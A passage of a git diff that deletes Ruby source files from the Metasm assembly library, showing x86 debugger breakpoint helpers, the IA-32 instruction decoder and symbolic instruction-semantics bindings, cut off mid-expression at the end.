}[bp.internal[:len]] - rw = { :x => 0, :w => 1, :r => 3 }[bp.internal[:type]] - raise "enable_bphw: invalid breakpoint #{bp.inspect}" if not l or not rw - dr7 &= ~((15 << (16+4*nr)) | (3 << (2*nr))) # clear - dr7 |= ((l << 2) | rw) << (16+4*nr) # set drN len/rw - dr7 |= 3 << (2*nr) # enable global/local drN - - dbg["dr#{nr}"] = bp.address - dbg[:dr7] = dr7 - end - - def dbg_disable_bphw(dbg, bp) - nr = bp.internal[:dr] - dr7 = dbg[:dr7] - dr7 &= ~(3 << (2*nr)) - dbg[:dr7] = dr7 - end - - def dbg_check_pre_run(dbg) - if dbg[:dr6] == 0 and dbg[:dr7] == 0 - dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0 - end - dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0 - end - - def dbg_evt_bpx(dbg, b) - if b.address == dbg.pc-1 - dbg.pc -= 1 - end - end - - def dbg_find_bpx(dbg) - return if dbg[:dr6] & 0x4000 != 0 - pc = dbg.pc - dbg.breakpoint[pc-1] || dbg.breakpoint[pc] - end - - def dbg_find_hwbp(dbg) - dr6 = dbg[:dr6] - return if dr6 & 0xf == 0 - dn = (0..3).find { |n| dr6 & (1 << n) } - dbg.breakpoint_thread.values.find { |b| b.internal[:dr] == dn } - end - - def dbg_need_stepover(dbg, addr, di) - di and ((di.instruction.prefix and di.instruction.prefix[:rep]) or di.opcode.props[:saveip]) - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'ret' - end - - # return (yield) a list of [addr, symbolic name] - def dbg_stacktrace(dbg, rec=500) - ret = [] - s = dbg.addrname!(dbg.pc) - yield(dbg.pc, s) if block_given? - ret << [dbg.pc, s] - fp = dbg.get_reg_value(dbg_register_list[6]) - stack = dbg.get_reg_value(dbg_register_list[7]) - 8 - while fp > stack and fp <= stack+0x10000 and rec != 0 - rec -= 1 - ra = dbg.resolve_expr Indirection[fp+4, 4] - s = dbg.addrname!(ra) - yield(ra, s) if block_given? - ret << [ra, s] - stack = fp # ensure we walk the stack upwards - fp = dbg.resolve_expr Indirection[fp, 4] - end - ret - end - - # retrieve the current function return value - # only valid at function exit - def dbg_func_retval(dbg) - dbg.get_reg_value(dbg_register_list[0]) - end - def dbg_func_retval_set(dbg, val) - dbg.set_reg_value(dbg_register_list[0], val) - end - - # retrieve the current function return address - # to be called only on entry of the subfunction - def dbg_func_retaddr(dbg) - dbg.memory_read_int(dbg_register_list[7]) - end - def dbg_func_retaddr_set(dbg, ret) - dbg.memory_write_int(dbg_register_list[7], ret) - end - - # retrieve the current function arguments - # only valid at function entry (eg right after the call) - def dbg_func_arg(dbg, argnr) - dbg.memory_read_int(Expression[:esp, :+, 4*(argnr+1)]) - end - def dbg_func_arg_set(dbg, argnr, arg) - dbg.memory_write_int(Expression[:esp, :+, 4*(argnr+1)], arg) - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/decode.rb b/lib/metasm/metasm/cpu/ia32/decode.rb deleted file mode 100644 index de90f087d5..0000000000 --- a/lib/metasm/metasm/cpu/ia32/decode.rb +++ /dev/null @@ -1,1326 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/decode' - -module Metasm -class Ia32 - class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {}) - m = (byte >> 6) & 3 - rm = byte & 7 - - if m == 3 - return regclass.new(rm, opsz) - end - - sum = Sum[adsz][m][rm] - - s, i, b, imm = nil - sum.each { |a| - case a - when Integer - if not b - b = Reg.new(a, adsz) - else - s = 1 - if h[:mrmvex] - i = SimdReg.new(a, h[:mrmvex]) - else - i = Reg.new(a, adsz) - end - end - - when :sib - sib = edata.get_byte.to_i - - ii = ((sib >> 3) & 7) - if ii != 4 - s = 1 << ((sib >> 6) & 3) - if h[:mrmvex] - i = SimdReg.new(ii, h[:mrmvex]) - else - i = Reg.new(ii, adsz) - end - end - - bb = sib & 7 - if bb == 5 and m == 0 - imm = Expression[edata.decode_imm("i#{adsz}".to_sym, endianness)] - else - b = Reg.new(bb, adsz) - end - - when :i8, :i16, :i32 - imm = Expression[edata.decode_imm(a, endianness)] - end - } - - if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i)) - # probably a base address -> unsigned - imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)] - end - - opsz = h[:argsz] if h[:argsz] - new adsz, opsz, s, i, b, imm, seg - end - end - - class Farptr - def self.decode(edata, endianness, adsz) - addr = Expression[edata.decode_imm("u#{adsz}".to_sym, endianness)] - seg = Expression[edata.decode_imm(:u16, endianness)] - new seg, addr - end - end - - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - - build_opcode_bin_mask op - - b = op.bin[0] - msk = op.bin_mask[0] - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_prefix(instr, byte) - instr.prefix ||= {} - (instr.prefix[:list] ||= []) << byte - - # XXX actual limit = 15-instr.length - return false if instr.prefix[:list].length >= 15 - - case byte - when 0x66; instr.prefix[:opsz] = true - when 0x67; instr.prefix[:adsz] = true - when 0xF0; instr.prefix[:lock] = true - when 0xF2; instr.prefix[:rep] = :nz - when 0xF3; instr.prefix[:rep] = :z # postprocessed by decode_instr - when 0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65 - if byte & 0x40 == 0 - v = (byte >> 3) & 3 - else - v = byte & 7 - end - instr.prefix[:seg] = SegReg.new(v) - else - return false - end - true - end - - # tries to find the opcode encoded at edata.ptr - # if no match, tries to match a prefix (update di.instruction.prefix) - # on match, edata.ptr points to the first byte of the opcode (after prefixes) - def decode_findopcode(edata) - di = DecodedInstruction.new self - while edata.ptr < edata.data.length - pfx = di.instruction.prefix || {} - byte = edata.data[edata.ptr] - byte = byte.unpack('C').first if byte.kind_of?(::String) - return di if di.opcode = @bin_lookaside[byte].find { |op| - # fetch the relevant bytes from edata - bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') - - # check against full opcode mask - op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and - # check special cases - !( - # fail if any of those is true - (fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or - (fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or - (fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or - (op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or - (op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or - (fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or - (sz = op.props[:opsz] and opsz(di, op) != sz) or - (sz = op.props[:adsz] and adsz(di, op) != sz) or - (ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or - (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or - # return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb - (pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or - (pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or - (op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b]) - ) - } - - break if not decode_prefix(di.instruction, edata.get_byte) - di.bin_length += 1 - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix || {} - - case op.props[:needpfx] - when 0x66; pfx.delete :opsz - when 0x67; pfx.delete :adsz - when 0xF2, 0xF3; pfx.delete :rep - end - - if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] - case pfx.delete(:seg).val - when 1; pfx[:jmphint] = 'hintnojmp' - when 3; pfx[:jmphint] = 'hintjmp' - end - end - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - - opsz = op.props[:argsz] || opsz(di) - adsz = (pfx[:adsz] ? 48 - @size : @size) - - mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) - op.args.each { |a| - di.instruction.args << case a - when :reg; Reg.new field_val[a], opsz - when :eeec; CtrlReg.new field_val[a] - when :eeed; DbgReg.new field_val[a] - when :eeet; TstReg.new field_val[a] - when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regfp; FpReg.new field_val[a] - when :regmmx; SimdReg.new field_val[a], mmxsz - when :regxmm; SimdReg.new field_val[a], 128 - when :regymm; SimdReg.new field_val[a], 256 - - when :farptr; Farptr.decode edata, @endianness, opsz - when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)] - when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)] - - when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg) - when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg) - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz] - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] - when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex] - - when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) - when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) - when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) - when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128) - when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256) - - when :imm_val1; Expression[1] - when :imm_val3; Expression[3] - when :reg_cl; Reg.new 1, 8 - when :reg_eax; Reg.new 0, opsz - when :reg_dx; Reg.new 2, 16 - when :regfp0; FpReg.new nil - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return false if edata.ptr > edata.length - - if op.name == 'movsx' or op.name == 'movzx' - if di.opcode.props[:argsz] == 8 - di.instruction.args[1].sz = 8 - else - di.instruction.args[1].sz = 16 - end - if pfx[:opsz] - di.instruction.args[0].sz = 48-@size - else - di.instruction.args[0].sz = @size - end - elsif op.name == 'crc32' - di.instruction.args[0].sz = 32 - end - - case pfx.delete(:rep) - when :nz - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repnz' - end - when :z - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repz' - end - end - - di - end - - # converts relative jump/call offsets to absolute addresses - # adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/ - delta = di.instruction.args.last.reduce - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # return the list of registers as symbols in the order used by pushad - # for use in backtrace and stuff, for compatibility with x64 - # esp is [4] - REG_SYMS = [:eax, :ecx, :edx, :ebx, :esp, :ebp, :esi, :edi] - def register_symbols - REG_SYMS - end - - # interprets a condition code (in an opcode name) as an expression involving backtracked eflags - # eflag_p is never computed, and this returns Expression::Unknown for this flag - # ex: 'z' => Expression[:eflag_z] - def decode_cc_to_expr(cc) - case cc - when 'o'; Expression[:eflag_o] - when 'no'; Expression[:'!', :eflag_o] - when 'b', 'nae', 'c'; Expression[:eflag_c] - when 'nb', 'ae', 'nc'; Expression[:'!', :eflag_c] - when 'z', 'e'; Expression[:eflag_z] - when 'nz', 'ne'; Expression[:'!', :eflag_z] - when 'be', 'na'; Expression[:eflag_c, :|, :eflag_z] - when 'nbe', 'a'; Expression[:'!', [:eflag_c, :|, :eflag_z]] - when 's'; Expression[:eflag_s] - when 'ns'; Expression[:'!', :eflag_s] - when 'p', 'pe'; Expression::Unknown - when 'np', 'po'; Expression::Unknown - when 'l', 'nge'; Expression[:eflag_s, :'!=', :eflag_o] - when 'nl', 'ge'; Expression[:eflag_s, :==, :eflag_o] - when 'le', 'ng'; Expression[[:eflag_s, :'!=', :eflag_o], :|, :eflag_z] - when 'nle', 'g'; Expression[[:eflag_s, :==, :eflag_o], :&, :eflag_z] - when 'ecxz'; Expression[:'!', register_symbols[1]] - when 'cxz'; Expression[:'!', [register_symbols[1], :&, 0xffff]] - end - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def opsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size - else @size - end - end - - def adsz(di, op=nil) - if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size - else @size - end - end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols - ebx = ebx - - mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff - sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] } - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'movsx', 'movsxd' - lambda { |di, a0, a1| - sz1 = di.instruction.args[1].sz - sign1 = Expression[[a1, :>>, sz1-1], :&, 1] - { a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] } - } - when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } } - when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } } - when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb' - lambda { |di, a0, a1| - e_op = { 'add' => :+, 'sub' => :-, 'or' => :|, 'and' => :&, 'xor' => :^, 'pxor' => :^, 'adc' => :+, 'sbb' => :- }[op] - ret = Expression[a0, e_op, a1] - ret = Expression[ret, e_op, :eflag_c] if op == 'adc' or op == 'sbb' - # optimises eax ^ eax => 0 - # avoid hiding memory accesses (to not hide possible fault) - ret = Expression[ret.reduce] if not a0.kind_of? Indirection - { a0 => ret } - } - when 'xadd'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1], a1 => Expression[a0] } } - when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } } - when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } } - when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask[di]] } } - when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } - when 'rol', 'ror' - lambda { |di, a0, a1| - e_op = (op[2] == ?r ? :>> : :<<) - inv_op = {:<< => :>>, :>> => :<< }[e_op] - sz = [a1, :%, opsz(di)] - isz = [[opsz(di), :-, a1], :%, opsz(di)] - # ror a, b => (a >> b) | (a << (32-b)) - { a0 => Expression[[[a0, e_op, sz], :|, [a0, inv_op, isz]], :&, mask[di]] } - } - when 'sar', 'shl', 'sal'; lambda { |di, a0, a1| { a0 => Expression[a0, (op[-1] == ?r ? :>> : :<<), [a1, :%, [opsz(di), 32].max]] } } - when 'shr'; lambda { |di, a0, a1| { a0 => Expression[[a0, :&, mask[di]], :>>, [a1, :%, opsz(di)]] } } - when 'cwd', 'cdq', 'cqo'; lambda { |di| { Expression[edx, :&, mask[di]] => Expression[mask[di], :*, sign[eax, di]] } } - when 'cbw', 'cwde', 'cdqe'; lambda { |di| - o2 = opsz(di)/2 ; m2 = (1 << o2) - 1 - { Expression[eax, :&, mask[di]] => Expression[[eax, :&, m2], :|, [m2 << o2, :*, [[eax, :>>, o2-1], :&, 1]]] } } - when 'push' - lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8], - Indirection[esp, opsz(di)/8, di.address] => Expression[a0] } } - when 'pop' - lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8], - a0 => Indirection[esp, opsz(di)/8, di.address] } } - when 'pushfd', 'pushf' - # TODO Unknown per bit - lambda { |di| - efl = Expression[0x202] - bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } - bts[0, :eflag_c] - bts[6, :eflag_z] - bts[7, :eflag_s] - bts[11, :eflag_o] - { esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl } - } - when 'popfd', 'popf' - lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] } - { esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } } - when 'sahf' - lambda { |di| bt = lambda { |pos| Expression[[eax, :>>, pos], :&, 1] } - { :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7] } } - when 'lahf' - lambda { |di| - efl = Expression[2] - bts = lambda { |pos, v| efl = Expression[efl, :|, [[v, :&, 1], :<<, pos]] } - bts[0, :eflag_c] #bts[2, :eflag_p] #bts[4, :eflag_a] - bts[6, :eflag_z] - bts[7, :eflag_s] - { eax => efl } - } - when 'pushad' - lambda { |di| - ret = {} - st_off = 0 - register_symbols.reverse_each { |r| - ret[Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address]] = Expression[r] - st_off += opsz(di)/8 - } - ret[esp] = Expression[esp, :-, st_off] - ret - } - when 'popad' - lambda { |di| - ret = {} - st_off = 0 - register_symbols.reverse_each { |r| - ret[r] = Indirection[Expression[esp, :+, st_off].reduce, opsz(di)/8, di.address] - st_off += opsz(di)/8 - } - ret[esp] = Expression[esp, :+, st_off] # esp is not popped - ret - } - when 'call' - lambda { |di, a0| - sz = opsz(di)/8 - if a0.kind_of? Farptr - { esp => Expression[esp, :-, 2*sz], - Indirection[esp, sz, di.address] => Expression[di.next_addr], - Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } - else - { esp => Expression[esp, :-, sz], - Indirection[esp, sz, di.address] => Expression[di.next_addr] } - end - } - when 'callf' - lambda { |di, a0| - sz = opsz(di)/8 - { esp => Expression[esp, :-, 2*sz], - Indirection[esp, sz, di.address] => Expression[di.next_addr], - Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } } - when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } } - when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } } - when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } } - when 'enter' - lambda { |di, a0, a1| - sz = opsz(di)/8 - depth = a1.reduce % 32 - b = { Indirection[ebp, sz, di.address] => Expression[ebp], - Indirection[[esp, :+, a0.reduce+sz*depth], sz, di.address] => Expression[ebp], - ebp => Expression[esp, :-, sz], - esp => Expression[esp, :-, a0.reduce+sz*depth+sz] } - (1..depth).each { |i| - b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] = - b[Indirection[[ebp, :-, i*sz], sz, di.address]] = - Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address] - } - b - } - when 'leave'; lambda { |di| { ebp => Indirection[[ebp], opsz(di)/8, di.address], esp => Expression[ebp, :+, opsz(di)/8] } } - when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } } - when 'imul' - lambda { |di, *a| - if not a[1] - # 1 operand from: store result in edx:eax - bd = {} - m = mask[di] - s = opsz(di) - e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)] - if s == 8 - bd[Expression[eax, :&, 0xffff]] = e - else - bd[Expression[eax, :&, m]] = Expression[e, :&, m] - bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m] - end - # XXX eflags? - next bd - end - - if a[2]; e = Expression[a[1], :*, a[2]] - else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1] - end - { a[0] => e } - } - when 'mul' - lambda { |di, *a| - m = mask[di] - e = Expression[a, :*, [eax, :&, m]] - if opsz(di) == 8 - { Expression[eax, :&, 0xffff] => e } - else - { Expression[eax, :&, m] => Expression[e, :&, m], - Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] } - end - } - when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } - when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } } - when /^(stos|movs|lods|scas|cmps)[bwd]$/ - lambda { |di, *a| - next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm) # XXX movsd xmm0, xmm1... - op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/ - e_op = $1 - sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2] - eax_ = Reg.new(0, 8*sz).symbolic - dir = :+ - if di.block and (di.block.list.find { |ddi| ddi.opcode.name == 'std' } rescue nil) - dir = :- - end - pesi = Indirection[esi, sz, di.address] - pedi = Indirection[edi, sz, di.address] - pfx = di.instruction.prefix || {} - bd = - case e_op - when 'movs' - case pfx[:rep] - when nil; { pedi => pesi, esi => Expression[esi, dir, sz], edi => Expression[edi, dir, sz] } - else { pedi => pesi, esi => Expression[esi, dir, [sz ,:*, ecx]], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'stos' - case pfx[:rep] - when nil; { pedi => Expression[eax_], edi => Expression[edi, dir, sz] } - else { pedi => Expression[eax_], edi => Expression[edi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'lods' - case pfx[:rep] - when nil; { eax_ => pesi, esi => Expression[esi, dir, sz] } - else { eax_ => Indirection[[esi, dir, [sz, :*, [ecx, :-, 1]]], sz, di.address], esi => Expression[esi, dir, [sz, :*, ecx]], ecx => 0 } - end - when 'scas' - case pfx[:rep] - when nil; { edi => Expression[edi, dir, sz] } - else { edi => Expression::Unknown, ecx => Expression::Unknown } - end - when 'cmps' - case pfx[:rep] - when nil; { edi => Expression[edi, dir, sz], esi => Expression[esi, dir, sz] } - else { edi => Expression::Unknown, esi => Expression::Unknown, ecx => Expression::Unknown } - end - end - bd[:incomplete_binding] = Expression[1] if pfx[:rep] - bd - } - when 'clc'; lambda { |di| { :eflag_c => Expression[0] } } - when 'stc'; lambda { |di| { :eflag_c => Expression[1] } } - when 'cmc'; lambda { |di| { :eflag_c => Expression[:'!', :eflag_c] } } - when 'cld'; lambda { |di| { :eflag_d => Expression[0] } } - when 'std'; lambda { |di| { :eflag_d => Expression[1] } } - when 'setalc'; lambda { |di| { Reg.new(0, 8).symbolic => Expression[:eflag_c, :*, 0xff] } } - when /^set/; lambda { |di, *a| { a[0] => Expression[decode_cc_to_expr(op[/^set(.*)/, 1])] } } - when /^cmov/; lambda { |di, *a| fl = decode_cc_to_expr(op[/^cmov(.*)/, 1]) ; { a[0] => Expression[[fl, :*, a[1]], :|, [[1, :-, fl], :*, a[0]]] } } - when /^j/ - lambda { |di, a0| - ret = { 'dummy_metasm_0' => Expression[a0] } # mark modr/m as read - if fl = decode_cc_to_expr(op[/^j(.*)/, 1]) and fl != Expression::Unknown - ret['dummy_metasm_1'] = fl # mark eflags as read - end - ret - } - when 'fstenv', 'fnstenv' - lambda { |di, a0| - # stores the address of the last non-control fpu instr run - lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi| - case pdi.opcode.name - when /fn?init|fn?clex|fldcw|fn?st[cs]w|fn?stenv|fldenv|fn?save|frstor|f?wait/ - when /^f/; true - end - } if di.block - lastfpuinstr = lastfpuinstr.address if lastfpuinstr - ret = {} - save_at = lambda { |off, val| ret[Indirection[a0.target + off, 4, di.address]] = val } - save_at[0, Expression::Unknown] - save_at[4, Expression::Unknown] - save_at[8, Expression::Unknown] - save_at[12, lastfpuinstr || Expression::Unknown] - save_at[16, Expression::Unknown] - save_at[20, Expression::Unknown] - save_at[24, Expression::Unknown] - ret - } - when 'bt'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1] } } - when 'bts'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :|, [1, :<<, [a1, :%, opsz(di)]]] } } - when 'btr'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :&, [[1, :<<, [a1, :%, opsz(di)]], :^, mask[di]]] } } - when 'btc'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } } - when 'bswap' - lambda { |di, a0| - case opsz(di) - when 64 - { a0 => Expression[ - [[[[a0, :&, 0xff000000_00000000], :>>, 56], :|, - [[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|, - [[[a0, :&, 0x0000ff00_00000000], :>>, 24], :|, - [[a0, :&, 0x000000ff_00000000], :>>, 8]]], :|, - [[[[a0, :&, 0x00000000_ff000000], :<<, 8], :|, - [[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|, - [[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|, - [[a0, :&, 0x00000000_000000ff], :<<, 56]]]] } - when 32 - { a0 => Expression[ - [[[a0, :&, 0xff000000], :>>, 24], :|, - [[a0, :&, 0x00ff0000], :>>, 8]], :|, - [[[a0, :&, 0x0000ff00], :<<, 8], :|, - [[a0, :&, 0x000000ff], :<<, 24]]] } - when 16 - # bswap ax => mov ax, 0 - { a0 => 0 } - end - } - when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} } - end - - # add eflags side-effects - - full_binding = case op - when 'adc', 'add', 'and', 'cmp', 'or', 'sbb', 'sub', 'xor', 'test', 'xadd' - lambda { |di, a0, a1| - e_op = { 'adc' => :+, 'add' => :+, 'xadd' => :+, 'and' => :&, 'cmp' => :-, 'or' => :|, 'sbb' => :-, 'sub' => :-, 'xor' => :^, 'test' => :& }[op] - res = Expression[[a0, :&, mask[di]], e_op, [a1, :&, mask[di]]] - res = Expression[res, e_op, :eflag_c] if op == 'adc' or op == 'sbb' - - ret = (binding ? binding[di, a0, a1] : {}) - ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] - ret[:eflag_s] = sign[res, di] - ret[:eflag_c] = case e_op - when :+; Expression[res, :>, mask[di]] - when :-; Expression[[a0, :&, mask[di]], :<, [a1, :&, mask[di]]] - else Expression[0] - end - ret[:eflag_o] = case e_op - when :+; Expression[[sign[a0, di], :==, sign[a1, di]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] - when :-; Expression[[sign[a0, di], :==, [:'!', sign[a1, di]]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] - else Expression[0] - end - ret - } - when 'inc', 'dec', 'neg', 'shl', 'shr', 'sar', 'ror', 'rol', 'rcr', 'rcl', 'shld', 'shrd' - lambda { |di, a0, *a| - ret = (binding ? binding[di, a0, *a] : {}) - res = ret[a0] || Expression::Unknown - ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] - ret[:eflag_s] = sign[res, di] - case op - when 'neg'; ret[:eflag_c] = Expression[[res, :&, mask[di]], :'!=', 0] - when 'inc', 'dec' # don't touch carry flag - else ret[:eflag_c] = Expression::Unknown # :incomplete_binding ? - end - ret[:eflag_o] = case op - when 'inc'; Expression[[a0, :&, mask[di]], :==, mask[di] >> 1] - when 'dec'; Expression[[res , :&, mask[di]], :==, mask[di] >> 1] - when 'neg'; Expression[[a0, :&, mask[di]], :==, (mask[di]+1) >> 1] - else Expression::Unknown - end - ret - } - when 'imul', 'mul', 'idiv', 'div', /^(scas|cmps)[bwdq]$/ - lambda { |di, *a| - ret = (binding ? binding[di, *a] : {}) - ret[:eflag_z] = ret[:eflag_s] = ret[:eflag_c] = ret[:eflag_o] = 